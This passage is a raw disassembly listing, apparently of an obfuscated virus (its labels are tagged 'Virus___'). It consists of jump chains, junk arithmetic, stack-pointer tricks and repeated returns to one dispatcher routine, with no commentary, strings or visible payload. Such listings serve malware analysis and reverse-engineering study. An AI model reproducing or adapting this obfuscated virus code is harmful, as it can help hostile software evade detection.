[esp] jmp loc_57E9C6 ; --------------------------------------------------------------------------- loc_57C1CF: ; CODE XREF: Virus___:005751F9j mov edx, [esp] jmp loc_5796FF ; --------------------------------------------------------------------------- loc_57C1D7: ; CODE XREF: Virus___:0057B591j xchg ebx, [esp] pop esp jmp loc_57434D ; --------------------------------------------------------------------------- loc_57C1E0: ; CODE XREF: Virus___:005741E0j mov ebp, [esp] jmp loc_5745A5 ; --------------------------------------------------------------------------- loc_57C1E8: ; CODE XREF: Virus___:0057B48Cj not esi sub esp, 4 mov [esp], edx jmp loc_57631E ; --------------------------------------------------------------------------- db 0ACh, 4, 0DAh dd 0FFFFB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_57C1FD: ; CODE XREF: Virus___:005785FCj sub eax, 304801A2h xor eax, 802DB373h push edx mov edx, 41383065h add ebx, edx pop edx sub ebx, eax sub ebx, 41383065h pop eax add ebx, 76692F10h push edi mov edi, esp add edi, 4 push esi push 4 pop esi jmp loc_57D9EA ; --------------------------------------------------------------------------- loc_57C234: ; CODE XREF: Virus___:0057B05Aj mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push eax push esp pop eax jmp loc_5767A6 ; --------------------------------------------------------------------------- loc_57C248: ; CODE XREF: Virus___:0057C039j mov edx, [esp] add esp, 4 add ebp, 2 push ebp jmp loc_57D52C ; --------------------------------------------------------------------------- loc_57C25A: ; CODE XREF: Virus___:0057BC94j xor ebp, edi xor edi, ebp jmp loc_5771D3 ; --------------------------------------------------------------------------- loc_57C263: ; CODE XREF: Virus___:00578CBEj xor [esp+4], edx pop edx pop eax jmp loc_57BCE7 ; --------------------------------------------------------------------------- loc_57C26E: ; CODE XREF: Virus___:00575ACBj add edi, esi pop esi add eax, edi pop edi push 7F90h mov [esp], ebp mov ebp, esp jmp loc_574DD6 ; --------------------------------------------------------------------------- loc_57C283: ; CODE XREF: Virus___:00575E23j add esp, 4 jmp loc_576DE3 ; --------------------------------------------------------------------------- loc_57C28B: ; CODE XREF: Virus___:0057D0DBj push ecx mov ecx, 146E4B4Fh and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_574D99 ; --------------------------------------------------------------------------- loc_57C29E: ; CODE XREF: Virus___:0057D40Ej shr ebp, 7 sub ebp, 957DA290h add eax, ebp jmp loc_57E17B ; --------------------------------------------------------------------------- loc_57C2AE: ; CODE XREF: Virus___:00574E44j mov esp, [esp] mov [esp], ebp push edx mov edx, 2282236Fh dec edx jmp loc_57951C ; --------------------------------------------------------------------------- loc_57C2C0: ; CODE XREF: Virus___:00576F8Fj mov edi, ecx pop ecx jmp loc_576257 ; --------------------------------------------------------------------------- loc_57C2C8: ; CODE XREF: Virus___:0057BA69j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C2CD: ; CODE XREF: Virus___:0057A4FBj add esp, 4 inc edi sub edi, 510040EFh and eax, edi pop edi jmp loc_57311D ; --------------------------------------------------------------------------- loc_57C2DF: ; CODE XREF: Virus___:0057C475j mov [esp], ecx jmp loc_577345 ; --------------------------------------------------------------------------- loc_57C2E7: ; CODE XREF: Virus___:0057C1BEj pop eax sub ebx, 60C54A99h sub ebx, eax add ebx, 60C54A99h add ebx, 290C2760h add ebx, 596555CAh push eax push ebx mov ebx, 0FE760E8h or ebx, 23C415E2h add ebx, 2CFBDACDh shr ebx, 6 jmp loc_57E3A2 ; --------------------------------------------------------------------------- loc_57C31D: ; CODE XREF: Virus___:0057729Aj mov [esp], edi push ebx add dword ptr [esp], 306B4A58h pop edi sub edi, 306B4A58h push ecx sub esp, 4 mov [esp], esp jmp loc_574747 ; --------------------------------------------------------------------------- loc_57C33B: ; CODE XREF: Virus___:0057E73Fj mov edx, 40DA2EE8h jmp loc_574B9D ; --------------------------------------------------------------------------- loc_57C345: ; CODE XREF: Virus___:00577736j add esi, 2E8152CCh mov edx, [esp] add esp, 4 jmp loc_579F1C ; --------------------------------------------------------------------------- loc_57C359: ; CODE XREF: Virus___:00577E85j xchg edx, [esp] mov esp, [esp] push 5BCFh mov [esp], ebp push esp jmp loc_5765BA ; --------------------------------------------------------------------------- loc_57C36D: ; CODE XREF: Virus___:0057C6CDj push esi jmp loc_577DDC ; --------------------------------------------------------------------------- lodsb xor al, bl push dx push ebx mov bl, 9Fh shr bl, 5 push cx mov cl, 8Fh add bl, cl pop cx sub bl, 0C0h mov dl, bl pop ebx or dl, 18h sub dl, 1 sub dl, 6Fh push 463Ch mov [esp], ebx mov bl, 26h shr bl, 5 shl bl, 8 jmp loc_57D187 ; --------------------------------------------------------------------------- loc_57C3AA: ; CODE XREF: Virus___:00573396j add esi, 38BB52EDh sub esi, 2118633Ah jmp loc_5763A7 ; --------------------------------------------------------------------------- loc_57C3BB: ; CODE XREF: Virus___:00575A52j mov [esp], esi jmp loc_57361E ; --------------------------------------------------------------------------- loc_57C3C3: ; CODE XREF: Virus___:0057622Bj pop esp push ebp mov ebp, 79927857h jmp loc_579308 ; --------------------------------------------------------------------------- loc_57C3CF: ; CODE XREF: Virus___:00577A1Fj push dword ptr [esp+4] mov edi, [esp] sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 jmp loc_57640A ; --------------------------------------------------------------------------- loc_57C3EC: ; CODE XREF: Virus___:00577BC9j xor edx, 743E59EDh dec edx xor edx, 7D4D3055h add edx, 9C56829Ch add ebx, edx mov edx, [esp] jmp loc_57D84A ; --------------------------------------------------------------------------- loc_57C409: ; CODE XREF: Virus___:0057745Bj mov [esp], ebx push esp pop ebx add ebx, 4 push edx push esi mov esi, 24490A82h mov edx, 0DF51BEAh add edx, esi pop esi xchg ebx, edx jmp loc_579CDF ; --------------------------------------------------------------------------- loc_57C42A: ; CODE XREF: Virus___:0057E176j push dword ptr [esp+4] jmp loc_578BE0 ; --------------------------------------------------------------------------- loc_57C433: ; CODE XREF: Virus___:00578E68j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C43F: ; CODE XREF: Virus___:00572DF4j add ebx, 4 sub esp, 4 mov [esp], ebp push eax mov eax, 0B3D6C8Dh jmp loc_57DFFE ; --------------------------------------------------------------------------- loc_57C456: ; CODE XREF: Virus___:00574B46j xor [esp], esi xor esi, [esp] pop esp jmp loc_578EF9 ; --------------------------------------------------------------------------- loc_57C462: ; CODE XREF: Virus___:0057EEA9j mov eax, 48114F71h xor edx, eax pop eax jmp loc_57A59F ; --------------------------------------------------------------------------- loc_57C46F: ; CODE XREF: Virus___:00578F85j sub esp, 4 jmp loc_57C2DF ; --------------------------------------------------------------------------- loc_57C47A: ; CODE XREF: Virus___:0057EE19j add ebx, eax pop eax jmp loc_57645F ; --------------------------------------------------------------------------- loc_57C482: ; CODE XREF: Virus___:00576D7Bj and edi, 132158BCh add edi, 6B2335ADh xor edi, 5A790D2Ch xor edi, 187B1F48h mov ebx, edi pop edi neg ebx jmp loc_57CB15 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_57A894 ; --------------------------------------------------------------------------- loc_57C4AC: ; CODE XREF: Virus___:0057A0D6j sub bl, al pop eax shr bl, 8 push eax mov al, 0F0h shl al, 3 push ebx mov bh, 0EEh jmp loc_576511 ; --------------------------------------------------------------------------- loc_57C4C0: ; CODE XREF: Virus___:0057C68Bj xchg ebp, [esp] pop esp push dword ptr [esp] mov ecx, [esp] add esp, 4 push esi mov esi, esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_57332E ; --------------------------------------------------------------------------- loc_57C4E4: ; CODE XREF: Virus___:00574FBCj and eax, ebx mov ebx, [esp] jmp loc_57ACA5 ; --------------------------------------------------------------------------- loc_57C4EE: ; CODE XREF: Virus___:00577A2Dj pop esp movsx ecx, ax push 4BA6h mov [esp], ecx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C4FF: ; CODE XREF: Virus___:0057D59Ej pop edi add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_57D129 ; --------------------------------------------------------------------------- loc_57C511: ; CODE XREF: Virus___:0057DE15j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx push edi pop ecx jmp loc_577548 ; --------------------------------------------------------------------------- loc_57C524: ; CODE XREF: Virus___:00577C71j add ebx, 623529BFh and ebx, 3E13603Dh sub ebx, 2C885920h sub ebx, 336A22E7h jmp loc_576032 ; --------------------------------------------------------------------------- loc_57C541: ; CODE XREF: Virus___:00577E97j xor ebp, 4C7E88E7h sub ecx, 6275136Fh add ecx, ebp add ecx, 6275136Fh push dword ptr [esp] pop ebp add esp, 4 jmp loc_576C60 ; --------------------------------------------------------------------------- loc_57C561: ; CODE XREF: Virus___:0057BB6Fj mov edx, ebp pop ebp jmp loc_57B9B9 ; --------------------------------------------------------------------------- loc_57C569: ; CODE XREF: Virus___:00575361j mov ebp, 6ABB6365h add ecx, ebp pop ebp or ecx, 6D5A1F96h shr ecx, 5 xor ecx, 9ED0785h add ecx, 5C034954h sub eax, ecx pop ecx sub eax, ebp jmp loc_57777E ; --------------------------------------------------------------------------- loc_57C590: ; CODE XREF: Virus___:0057DF85j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp shr eax, 0Ah xor eax, ecx push eax push esi mov eax, [esp] add esp, 4 pop esi push edx mov edx, esp jmp loc_57D5AF ; --------------------------------------------------------------------------- loc_57C5B0: ; CODE XREF: Virus___:0057420Cj push ecx mov ecx, 708E2CA7h xor ecx, 1F3D401Bh not ecx jmp loc_573F41 ; --------------------------------------------------------------------------- loc_57C5C3: ; CODE XREF: Virus___:0057E6D3j pop esp jmp loc_57603D ; --------------------------------------------------------------------------- xor [esp], ebp jmp loc_575081 ; --------------------------------------------------------------------------- loc_57C5D1: ; CODE XREF: Virus___:00574FDCj mov [esp], edx mov edx, 20F2068Dh jmp loc_57A2D1 ; --------------------------------------------------------------------------- loc_57C5DE: ; CODE XREF: Virus___:0057BAE3j push 2F99h mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx push dword ptr [esp] pop eax add esp, 4 add eax, 4 jmp loc_5750CB ; --------------------------------------------------------------------------- loc_57C602: ; CODE XREF: Virus___:00576CC8j mov cl, ah mov bh, cl pop ecx mov ch, bh mov ebx, [esp] add esp, 4 mov eax, [esp] jmp loc_57872A ; --------------------------------------------------------------------------- loc_57C617: ; CODE XREF: Virus___:00578684j sub edi, 26A1759Fh push edi dec dword ptr [esp] pop edi add edi, 85D9C0ACh add ebx, edi mov edi, [esp] add esp, 4 add edx, 36592F79h add edx, eax push ebx push 36592F79h pop ebx push ebx mov ebx, 0E405A30h sub edx, ebx jmp loc_57D5D4 ; --------------------------------------------------------------------------- loc_57C64F: ; CODE XREF: Virus___:00572D53j mov esp, [esp] push ebx mov ebx, esp push esi mov esi, 1FCC47C7h xor esi, 471B7C41h jmp loc_57E04C ; --------------------------------------------------------------------------- loc_57C666: ; CODE XREF: Virus___:0057628Fj pop ecx add esp, 4 sub esp, 4 jmp loc_57930E ; --------------------------------------------------------------------------- loc_57C672: ; CODE XREF: Virus___:005786EDj shl esi, 3 shl esi, 6 shr esi, 3 jmp loc_5743B8 ; --------------------------------------------------------------------------- loc_57C680: ; CODE XREF: Virus___:00573EC6j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_57C4C0 ; --------------------------------------------------------------------------- loc_57C690: ; CODE XREF: Virus___:00579320j not ecx jmp loc_57B867 ; --------------------------------------------------------------------------- loc_57C697: ; CODE XREF: Virus___:00576BB9j pop esp mov [esp], edx mov edx, 12972B94h jmp loc_5731E0 ; --------------------------------------------------------------------------- loc_57C6A5: ; CODE XREF: Virus___:0057E713j add al, 0FFh push edx mov dl, 0BFh xor al, dl pop edx push eax mov al, 3Eh jmp loc_5732DD ; --------------------------------------------------------------------------- loc_57C6B5: ; CODE XREF: Virus___:00577E64j mov ebx, [esp] add esp, 4 shr dl, 1 neg dl jmp loc_57EB64 ; --------------------------------------------------------------------------- loc_57C6C7: ; CODE XREF: Virus___:00574E79j pop ebx add eax, esi mov esi, [esp] jmp loc_57C36D ; --------------------------------------------------------------------------- loc_57C6D2: ; CODE XREF: Virus___:0057E6A7j sub edi, eax jmp loc_57630F ; --------------------------------------------------------------------------- loc_57C6D9: ; CODE XREF: Virus___:00575FA9j mov edx, 23304387h shr edx, 2 jmp loc_57D5C7 ; --------------------------------------------------------------------------- loc_57C6E6: ; CODE XREF: Virus___:0057A6F5j push 4C9548D6h pop ecx jmp loc_573860 ; --------------------------------------------------------------------------- loc_57C6F1: ; CODE XREF: Virus___:0057E394j mov esi, 1F9D4509h add dword ptr [esp+4], 5205209Dh sub [esp+4], esi sub dword ptr [esp+4], 5205209Dh pop esi add dword ptr [esp], 512F58C9h sub dword ptr [esp], 28DD01B1h add [esp], eax add dword ptr [esp], 28DD01B1h sub dword ptr [esp], 512F58C9h sub esp, 4 mov [esp], ecx push 1F9D4509h push dword ptr [esp] jmp loc_57ADE3 ; --------------------------------------------------------------------------- loc_57C73D: ; CODE XREF: Virus___:005762F1j mov edi, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_57DB71 ; --------------------------------------------------------------------------- loc_57C74C: ; CODE XREF: Virus___:00579517j sub esp, 4 mov [esp], ecx mov cl, 52h not cl push ecx jmp loc_574EFA ; --------------------------------------------------------------------------- loc_57C75F: ; CODE XREF: Virus___:00579F80j pop ebx sub ebp, esi pop esi mov [edi+24h], ebp mov ebp, [esp] add esp, 4 xor edx, edx push 236Bh mov [esp], ebx push dword ptr [esp] jmp loc_57C153 ; --------------------------------------------------------------------------- loc_57C781: ; CODE XREF: Virus___:0057D563j xor ebp, [esp] jmp loc_574A50 ; --------------------------------------------------------------------------- loc_57C789: ; CODE XREF: Virus___:00572B02j mov edx, 4 jmp loc_57E365 ; --------------------------------------------------------------------------- loc_57C793: ; CODE XREF: Virus___:0057AA55j inc dl sub dl, 0D5h add dl, 0C4h add bl, dl pop edx jmp loc_574D6F ; --------------------------------------------------------------------------- loc_57C7A3: ; CODE XREF: Virus___:00573C62j pop edi sub ecx, 1539742Ch add ecx, 7D866FA1h sub ecx, 7384F8Eh jmp loc_57A563 ; --------------------------------------------------------------------------- db 0F6h dd 0C8C580DDh, 0FF9462E9h db 0FFh ; --------------------------------------------------------------------------- loc_57C7C5: ; CODE XREF: Virus___:0057DCBDj add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_57ECF9 ; --------------------------------------------------------------------------- loc_57C7D6: ; CODE XREF: Virus___:00578ED6j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push esi sub esp, 4 jmp loc_577DF1 ; --------------------------------------------------------------------------- loc_57C7F9: ; CODE XREF: Virus___:00577EA9j sub ebx, eax pop eax sub ebx, 0E9AF82Ah add edx, ebx pop ebx add edx, 4 xchg edx, [esp] pop esp jmp loc_57EEA0 ; --------------------------------------------------------------------------- loc_57C814: ; CODE XREF: Virus___:00579D3Cj mov [esp], eax push 1CF55792h pop eax push edi mov edi, 0E30AAC6Eh jmp loc_57BC84 ; --------------------------------------------------------------------------- loc_57C828: ; CODE XREF: Virus___:005747E7j not ebx shl ebx, 2 shr ebx, 1 add ebx, 28DFC17Dh sub esp, 4 mov [esp], esi jmp loc_57E26D ; --------------------------------------------------------------------------- loc_57C840: ; CODE XREF: Virus___:00575586j add ecx, esi pop esi or [edi+1Ch], ecx push dword ptr [esp] jmp loc_576045 ; --------------------------------------------------------------------------- loc_57C84E: ; CODE XREF: Virus___:0057D0F4j add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C859: ; CODE XREF: Virus___:0057CD0Fj not ecx neg ecx neg ecx xor ecx, 854A0538h sub eax, ecx pop ecx add eax, 5A8F20CAh add eax, ebx sub eax, 5A8F20CAh push esi mov esi, 0EC2167h add eax, esi pop esi sub esp, 4 jmp loc_57D834 ; --------------------------------------------------------------------------- loc_57C888: ; CODE XREF: Virus___:0057A041j pop esp jmp loc_57A4CD ; --------------------------------------------------------------------------- loc_57C88E: ; CODE XREF: Virus___:005750D9j xchg eax, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C89C: ; CODE XREF: Virus___:00574B3Aj sub esi, 54DF123Dh sub esi, 58242295h pop ecx xchg esi, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_572E27 ; --------------------------------------------------------------------------- loc_57C8B9: ; CODE XREF: Virus___:0057D527j sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], ebx pop eax push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57C8EB: ; CODE XREF: Virus___:0057AAE7j sub edx, 4041424Ah sub edx, 535A7AFBh add edx, 0E405A30h pop ebx jmp loc_5781C1 ; --------------------------------------------------------------------------- loc_57C903: ; CODE XREF: Virus___:00579D95j mov edi, 5B1E7F87h not edi push edx push ecx push 56B37B87h pop ecx xor ecx, 56B37B87h jmp loc_5760FD ; --------------------------------------------------------------------------- loc_57C91D: ; CODE XREF: Virus___:00574522j xor edi, 0FB5FDB7Ah add ecx, 572F7FAFh add ecx, edi sub ecx, 572F7FAFh mov edi, [esp] add esp, 4 jmp loc_57A51D ; --------------------------------------------------------------------------- loc_57C93C: ; CODE XREF: Virus___:0057E185j mov eax, 21CD2EB1h sub eax, 0AB63FFA1h sub ebx, eax pop eax jmp loc_57644F ; --------------------------------------------------------------------------- loc_57C94E: ; CODE XREF: Virus___:0057ECEDj pop edx mov edx, [esp] push ebx mov ebx, esp jmp loc_57C96B ; --------------------------------------------------------------------------- loc_57C95A: ; CODE XREF: Virus___:0057A96Dj push edx mov edx, esp jmp loc_575DF4 ; --------------------------------------------------------------------------- loc_57C962: ; CODE XREF: Virus___:00575C7Dj pop ebp pop ebp add ebx, ecx jmp loc_572CC4 ; --------------------------------------------------------------------------- loc_57C96B: ; CODE XREF: Virus___:0057C955j add ebx, 4 jmp loc_57E841 ; --------------------------------------------------------------------------- loc_57C976: ; CODE XREF: Virus___:005795F9j push edx push esp jmp loc_577E69 ; --------------------------------------------------------------------------- loc_57C97D: ; CODE XREF: Virus___:0057BF62j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push 6CE1h mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 334B1A53h mov edi, eax jmp loc_572DC3 ; --------------------------------------------------------------------------- loc_57C9A6: ; CODE XREF: Virus___:005799CBj push eax push edi jmp loc_5787E7 ; --------------------------------------------------------------------------- loc_57C9AD: ; CODE XREF: Virus___:0057542Aj push eax mov eax, 1F23195Ah sub eax, 1F231956h add edi, eax jmp loc_577AE6 ; --------------------------------------------------------------------------- loc_57C9BF: ; CODE XREF: Virus___:0057530Ej mov ebp, 48C1086Fh jmp loc_577EE3 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_575A90 ; --------------------------------------------------------------------------- loc_57C9D2: ; CODE XREF: Virus___:00577F08j mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jz loc_5798D1 push dword ptr [edi+1Ch] mov ecx, [esp] push eax mov eax, esp jmp loc_57BE94 ; --------------------------------------------------------------------------- loc_57C9FC: ; CODE XREF: Virus___:00573666j add esi, 0EDE10D84h mov edi, esi jmp loc_5781CC ; --------------------------------------------------------------------------- loc_57CA09: ; CODE XREF: Virus___:0057A483j push edx push 4877h jmp loc_578C22 ; --------------------------------------------------------------------------- loc_57CA14: ; CODE XREF: Virus___:00578E3Ej and ebx, 2CBC1E83h push ebp mov ebp, 2ED23946h jmp loc_5774D8 ; --------------------------------------------------------------------------- loc_57CA25: ; CODE XREF: Virus___:005780C7j sub edx, 2F5C53C6h add edx, esi jmp loc_57AFE4 ; --------------------------------------------------------------------------- loc_57CA32: ; CODE XREF: Virus___:005784B5j pop ebx push esi sub dword ptr [esp], 52A109AAh mov edx, [esp] add esp, 4 push esi mov esi, 1A5A5956h dec esi not esi shr esi, 1 xor esi, 2073DAFFh jmp loc_5782EA ; --------------------------------------------------------------------------- loc_57CA5A: ; CODE XREF: Virus___:0057D5CFj mov ebx, 4EF02BC9h push eax mov eax, 9C262Bh and ebx, eax pop eax xor ebx, 30ED6F4Eh add edi, ebx pop ebx dec edi not edi add edi, 46F29950h add edx, edi pop edi mov esi, edx pop edx and eax, esi mov esi, [esp] jmp loc_57A3FF ; --------------------------------------------------------------------------- loc_57CA8A: ; CODE XREF: Virus___:00575DFAj add edx, 4 xchg edx, [esp] pop esp sub eax, ebx add eax, 4C1717E3h push 5F84h mov [esp], ebp push ebx sub esp, 4 jmp loc_573048 ; --------------------------------------------------------------------------- loc_57CAAC: ; CODE XREF: Virus___:00572DA0j mov ecx, 4 sub eax, ecx mov ecx, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], edx push eax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CACA: ; CODE XREF: Virus___:00575097j sub eax, 409A4E46h jmp loc_577642 ; --------------------------------------------------------------------------- loc_57CAD4: ; CODE XREF: Virus___:0057E643j xor eax, ebx push dword ptr [esp] pop ebx push 56A1h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_57534D ; --------------------------------------------------------------------------- loc_57CAF8: ; CODE XREF: Virus___:0057D80Aj push dword ptr [esp] jmp loc_57AACD ; --------------------------------------------------------------------------- loc_57CB00: ; CODE XREF: Virus___:005770C1j push esi push ebx push 7C91222Bh mov ebx, [esp] add esp, 4 jmp loc_577232 ; --------------------------------------------------------------------------- loc_57CB15: ; CODE XREF: Virus___:0057C49Fj push ebp mov ebp, 4BD631Ah not ebp inc ebp shr ebp, 3 add ebp, 0F79CD9EFh add ebx, 492B38B9h sub ebx, ebp sub ebx, 492B38B9h jmp loc_578996 ; --------------------------------------------------------------------------- loc_57CB3A: ; CODE XREF: Virus___:00577148j push dword ptr [esp] pop ebp add esp, 4 mov ebx, [esp] add esp, 4 sub eax, ecx pop ecx jmp loc_57B391 ; --------------------------------------------------------------------------- loc_57CB52: ; CODE XREF: Virus___:00578282j push 689Dh mov [esp], edx mov edx, 4 sub eax, 4EF831B9h add eax, edx add eax, 4EF831B9h pop edx push esi mov esi, 4 add eax, esi pop esi jmp loc_5751E7 ; --------------------------------------------------------------------------- loc_57CB7A: ; CODE XREF: Virus___:00578419j sub esi, 2FD9682Bh jmp loc_57978B ; --------------------------------------------------------------------------- loc_57CB85: ; CODE XREF: Virus___:0057AAC2j xor esi, 1BF0447Fh jmp loc_5780C1 ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push edx mov edx, 49043735h shl edx, 7 jmp loc_573D03 ; --------------------------------------------------------------------------- loc_57CBA5: ; CODE XREF: Virus___:00579AA5j xor ebp, eax mov eax, [esp] add esp, 4 xor ebp, 9F6F8850h xor eax, ebp jmp loc_579993 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_577254 ; --------------------------------------------------------------------------- loc_57CBC9: ; CODE XREF: Virus___:00573036j mov dl, bh mov ebx, [esp] add esp, 4 add bl, dl mov edx, [esp] add esp, 4 add bl, al sub bl, 17h push dword ptr [esp] pop eax add esp, 4 add bl, al sub bl, 1Fh movzx eax, al jmp loc_57E76F ; --------------------------------------------------------------------------- loc_57CBF8: ; CODE XREF: Virus___:005792FBj add esp, 4 pop dword ptr [esp] pop esp add ebx, 4E4B17C4h add ebx, 45514433h sub ebx, eax sub ebx, 45514433h sub esp, 4 mov [esp], edi push 1770h mov [esp], eax push 5EF494Eh pop eax neg eax add eax, 7F7C1E67h shr eax, 7 push edi jmp loc_57CEE8 ; --------------------------------------------------------------------------- loc_57CC3A: ; CODE XREF: Virus___:0057BC06j sub esp, 4 mov [esp], edx push edi jmp loc_572E0D ; --------------------------------------------------------------------------- loc_57CC49: ; CODE XREF: Virus___:005760F8j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_57B017 ; --------------------------------------------------------------------------- loc_57CC69: ; CODE XREF: Virus___:0057B38Cj push eax push 2 pop eax sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], sp jmp loc_572AA1 ; --------------------------------------------------------------------------- loc_57CC80: ; CODE XREF: Virus___:00575958j mov esi, esp add esi, 4 add esi, 4 jmp loc_5733B7 ; --------------------------------------------------------------------------- loc_57CC93: ; CODE XREF: Virus___:0057D11Aj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CC98: ; CODE XREF: Virus___:00577ED3j mov ebp, esp push ebx mov ebx, 0ED30AD8h dec ebx push edi mov edi, 52837F47h and ebx, edi pop edi add ebx, 0FD7CF5BDh add ebp, ebx jmp loc_57A15D ; --------------------------------------------------------------------------- loc_57CCB7: ; CODE XREF: Virus___:00577CE4j add esp, 4 add esp, 4 jmp loc_57ACF9 ; --------------------------------------------------------------------------- loc_57CCC5: ; CODE XREF: Virus___:00578887j sub al, 33h add al, 68h sub al, bl sub al, 68h add al, 33h add al, 62h push edx mov dl, 1Eh jmp loc_57D440 ; --------------------------------------------------------------------------- loc_57CCD9: ; CODE XREF: Virus___:005794A3j btr [esp], ax pushf jmp loc_572E6E ; --------------------------------------------------------------------------- loc_57CCE4: ; CODE XREF: Virus___:0057639Cj pop esp mov [esp], esi not dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_57D660 ; --------------------------------------------------------------------------- loc_57CCF6: ; CODE XREF: Virus___:0057CED5j pop ebx add ecx, esi mov esi, [esp] add esp, 4 push edi mov edi, 49B34EFCh jmp loc_57A742 ; --------------------------------------------------------------------------- loc_57CD0A: ; CODE XREF: Virus___:0057B52Ej not ecx shl ecx, 5 jmp loc_57C859 ; --------------------------------------------------------------------------- loc_57CD14: ; CODE XREF: Virus___:00578339j mov edi, esp push eax mov eax, 7979774Bh xor eax, 3FA30EBFh push edi push eax push 53FD4100h jmp loc_573FB4 ; --------------------------------------------------------------------------- loc_57CD2D: ; CODE XREF: Virus___:00577AE1j push ecx mov ecx, 56A55C7Ch sub ecx, 1 push esi mov esi, 43482B79h shl esi, 2 jmp loc_572BA9 ; --------------------------------------------------------------------------- loc_57CD47: ; CODE XREF: Virus___:0057E4FBj mov [edi+eax*4+1], cl pop ecx jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CD51: ; CODE XREF: Virus___:00578EA3j pop eax pop ebx mov edi, edx mov edx, [esp] push eax jmp loc_576659 ; --------------------------------------------------------------------------- loc_57CD5E: ; CODE XREF: Virus___:00578087j pop esp mov edx, [esp] push 3F7Fh mov [esp], ebx mov ebx, esp add ebx, 4 push ecx push esi mov esi, 43595277h shl esi, 7 jmp loc_57AC1C ; --------------------------------------------------------------------------- loc_57CD81: ; CODE XREF: Virus___:00574E2Cj push 1DECh jmp loc_576B5E ; --------------------------------------------------------------------------- loc_57CD8B: ; CODE XREF: Virus___:0057A523j xchg ecx, [esp] mov esp, [esp] test cx, ax pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CD9A: ; CODE XREF: Virus___:005792ADj mov eax, [esp] jmp loc_575742 ; --------------------------------------------------------------------------- loc_57CDA2: ; CODE XREF: Virus___:00575556j add ebx, 3ED107D3h sub ebx, 4D981907h jmp loc_578E43 ; --------------------------------------------------------------------------- loc_57CDB3: ; CODE XREF: Virus___:00576895j sub eax, esi pop esi jmp loc_57DB20 ; --------------------------------------------------------------------------- loc_57CDBB: ; CODE XREF: Virus___:00573CB4j add esi, ebx jmp loc_577DB0 ; --------------------------------------------------------------------------- loc_57CDC2: ; CODE XREF: Virus___:005766A9j mov [esp], edi push eax mov eax, 63B63D0Dh shr eax, 6 dec eax sub eax, 6FC4501Bh push esi mov esi, 6F9B1E36h add esi, 3596613Bh sub esi, 48F27303h or eax, esi pop esi push ebp mov ebp, 74B95C0Ah sub eax, ebp pop ebp mov edi, eax pop eax xchg ebp, edi push ebp push esi jmp loc_577B35 ; --------------------------------------------------------------------------- loc_57CDFE: ; CODE XREF: Virus___:005733A3j pop ecx add ebp, 4 jmp loc_57E387 ; --------------------------------------------------------------------------- loc_57CE07: ; CODE XREF: Virus___:0057AEA2j add eax, ebx push 7974h mov [esp], edx mov edx, 1D436FE7h push 796h mov [esp], edi push 32995132h jmp loc_57BDEE ; --------------------------------------------------------------------------- loc_57CE28: ; CODE XREF: Virus___:0057AA15j shr edx, 5 xor edx, 16AE5Ah add ebp, edx pop edx push esi mov esi, 4 add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx sub dword ptr [esp], 79F33595h pop dword ptr [eax] push ecx jmp loc_57B20E ; --------------------------------------------------------------------------- loc_57CE61: ; CODE XREF: Virus___:005765CCj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_57B5BC ; --------------------------------------------------------------------------- loc_57CE71: ; CODE XREF: Virus___:00578DADj sub cl, 23h sub cl, 59h jmp loc_579E10 ; --------------------------------------------------------------------------- loc_57CE7C: ; CODE XREF: Virus___:0057DCB0j neg eax add eax, 0CE4B1DCFh mov ebp, 0CC508E9h xor ebp, eax push dword ptr [esp] pop eax add esp, 4 xor ebp, ebx mov ebx, [esp] add esp, 4 sub ebx, 70927420h add ebx, ebp jmp loc_57A91D ; --------------------------------------------------------------------------- loc_57CEA9: ; CODE XREF: Virus___:00575F75j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57CEAE: ; CODE XREF: Virus___:00574823j not ebp shl ebp, 2 